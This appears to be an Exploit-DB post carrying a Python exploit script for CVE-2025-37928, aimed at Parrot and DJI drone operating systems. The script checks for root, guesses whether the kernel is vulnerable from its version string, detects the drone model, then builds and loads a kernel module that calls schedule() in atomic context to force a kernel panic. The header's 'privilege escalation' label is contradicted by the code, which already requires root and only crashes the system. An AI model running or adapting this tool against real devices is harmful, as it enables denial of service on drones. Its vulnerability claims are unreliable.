\n#!\/usr\/bin\/env python3
\n
# Exploit Title: Parrot and DJI variants Drone OSes – Kernel Panic Exploit
\n
# Author: Mohammed Idrees Banyamer
\n
# Instagram: @banyamer_security
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# GitHub: https:\/\/github.com\/mbanyamer
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# Date: 2025-06-10
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# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
\n
# CVE: CVE-2025-37928
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# Type: Local Privilege Escalation \/ Kernel Panic
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# Platform: Linux-based drone OS (Parrot and DJI variants)
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# Author Country: Jordan
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# CVSS v3.1 Score: 7.3 (Important)
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# Weakness: CWE-284: Improper Access Control
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# Attack Vector: Local
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# User Interaction: None
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# Scope: Unchanged
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# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
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# Exploit Code Maturity: Proof of Concept
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# Remediation Level: Official Fix Available
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#
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# Description:
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# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
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# exploiting CVE-2025-37928 present in certain Linux kernels running on
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# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
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#
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# Steps of exploitation:
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# 1. Check if running as root.
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# 2. Verify kernel version vulnerability.
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# 3. Detect drone type from system files.
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# 4. Build and load vulnerable kernel module.
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# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
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#
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# Affected Drone Versions:
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# – Parrot QRD
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# – Parrot Alpha-M (DT)
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# – DJI QRD
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# – DJI Alpha-M (DT)
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#
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# ——————————————————————————
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# Usage:
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# sudo python3 cve_2025_37928_tool.py [OPTIONS]
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#
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# Options:
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# –dry-run Run detection & build only (no module loading)
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# –force Force exploit even if kernel not detected as vulnerable
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# –cleanup-only Remove the kernel module without triggering panic
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# –verbose Enable detailed logging and debug output
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# –help Show usage information
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#
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# Examples:
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# sudo python3 cve_2025_37928_tool.py –dry-run
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# sudo python3 cve_2025_37928_tool.py
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# sudo python3 cve_2025_37928_tool.py –force
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# sudo python3 cve_2025_37928_tool.py –cleanup-only
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#
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# Warning:
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# This PoC causes an immediate kernel panic.
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# Use it ONLY in isolated and controlled environments (e.g., lab tests).
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# ——————————————————————————<\/p>\n
import os
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import sys
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import subprocess
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import tempfile
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import argparse
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import shutil
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import platform<\/p>\n
MODULE_NAME = “cve_2025_37928_poc”
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C_FILENAME = MODULE_NAME + “.c”
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KO_FILENAME = MODULE_NAME + “.ko”<\/p>\n
KERNEL_MODULE_CODE = r”’
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#include \n
#include \n
#include \n
#include \n
#include \nMODULE_LICENSE(“GPL”);
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MODULE_AUTHOR(“PoC Author”);
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MODULE_DESCRIPTION(“PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic”);<\/p>\n
static void trigger_panic_tasklet(unsigned long data)
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{
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pr_alert(“[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\\n”);
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schedule(); \/\/ This causes kernel panic
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}<\/p>\n
DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);<\/p>\n
static int __init poc_init(void)
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{
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pr_info(“[CVE-2025-37928] Loading PoC module and scheduling tasklet…\\n”);
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tasklet_schedule(&my_tasklet);
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return 0;
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}<\/p>\n
static void __exit poc_exit(void)
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{
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tasklet_kill(&my_tasklet);
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pr_info(“[CVE-2025-37928] PoC module unloaded\\n”);
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}<\/p>\n
module_init(poc_init);
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module_exit(poc_exit);
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”’<\/p>\n
MAKEFILE_CONTENT = f”’
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obj-m += {MODULE_NAME}.o<\/p>\n
all:
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\\tmake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) modules<\/p>\n
clean:
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\\tmake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) clean
\n
”’<\/p>\n
def check_root():
\n
if os.geteuid() != 0:
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print(“[-] Must be run as root.”)
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sys.exit(1)<\/p>\n
def detect_kernel():
\n
version = platform.release()
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vulnerable_versions = [“5.10”, “5.15”, “6.0”]
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vulnerable = any(v in version for v in vulnerable_versions)
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print(f”[i] Kernel version: {version} => {‘VULNERABLE’ if vulnerable else ‘UNKNOWN\/SAFE’}”)
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return vulnerable<\/p>\n
def detect_drone_type():
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print(“[*] Detecting drone type…”)
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files = [“\/etc\/drone_type”, “\/proc\/device-tree\/model”, “\/sys\/firmware\/devicetree\/base\/model”]
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found = []
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for path in files:
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if os.path.exists(path):
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try:
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with open(path, “r”) as f:
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content = f.read().strip()
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if any(x in content for x in [“Parrot”, “DJI”]):
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found.append(content)
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except:
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continue
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if found:
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for d in found:
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print(f” [i] Found: {d}”)
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else:
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print(” [!] No drone ID found.”)
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return found<\/p>\n
def write_module(tempdir):
\n
c_path = os.path.join(tempdir, C_FILENAME)
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makefile_path = os.path.join(tempdir, “Makefile”)
\n
with open(c_path, “w”) as f:
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f.write(KERNEL_MODULE_CODE)
\n
with open(makefile_path, “w”) as f:
\n
f.write(MAKEFILE_CONTENT)
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return c_path<\/p>\n
def build_module(tempdir):
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print(“[*] Building module…”)
\n
result = subprocess.run([“make”], cwd=tempdir, capture_output=True, text=True)
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if result.returncode != 0:
\n
print(“[-] Build failed:\\n”, result.stderr)
\n
sys.exit(1)
\n
print(“[+] Build successful.”)
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return os.path.join(tempdir, KO_FILENAME)<\/p>\n
def load_module(ko_path):
\n
print(“[*] Loading kernel module…”)
\n
result = subprocess.run([“insmod”, ko_path], capture_output=True, text=True)
\n
if result.returncode != 0:
\n
print(“[-] insmod failed:\\n”, result.stderr)
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sys.exit(1)
\n
print(“[!] Module loaded. Kernel panic should occur if vulnerable.”)<\/p>\n
def unload_module():
\n
print(“[*] Attempting to remove module…”)
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subprocess.run([“rmmod”, MODULE_NAME], stderr=subprocess.DEVNULL)
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print(“[+] Module removal attempted.”)<\/p>\n
def clean_build(tempdir):
\n
subprocess.run([“make”, “clean”], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(description=”CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes”)
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parser.add_argument(“–dry-run”, action=”store_true”, help=”Only simulate and check environment, no exploitation”)
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parser.add_argument(“–force”, action=”store_true”, help=”Force execution even if version unknown”)
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parser.add_argument(“–cleanup-only”, action=”store_true”, help=”Just remove kernel module if loaded”)<\/p>\n
args = parser.parse_args()
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check_root()<\/p>\n
if args.cleanup_only:
\n
unload_module()
\n
return<\/p>\n
vulnerable = detect_kernel()
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detect_drone_type()<\/p>\n
if not vulnerable and not args.force:
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print(“[-] Kernel not identified as vulnerable. Use –force to override.”)
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sys.exit(1)<\/p>\n
if args.dry_run:
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print(“[*] Dry run mode. Exiting before exploitation.”)
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return<\/p>\n
with tempfile.TemporaryDirectory() as tempdir:
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print(f”[*] Working directory: {tempdir}”)
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write_module(tempdir)
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ko_path = build_module(tempdir)<\/p>\n
try:
\n
load_module(ko_path)
\n
except KeyboardInterrupt:
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print(“[!] Interrupted. Attempting cleanup…”)
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finally:
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unload_module()
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clean_build(tempdir)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Parrot and DJI variants Drone OSes – Kernel Panic Exploit Exploit ID EDB-ID:52329 Type exploitdb Published 2025-06-15T00:00:00 Modified 2025-06-15T00:00:00…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,40,13,33,7,11,5],"class_list":["post-6870","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-exploitdb","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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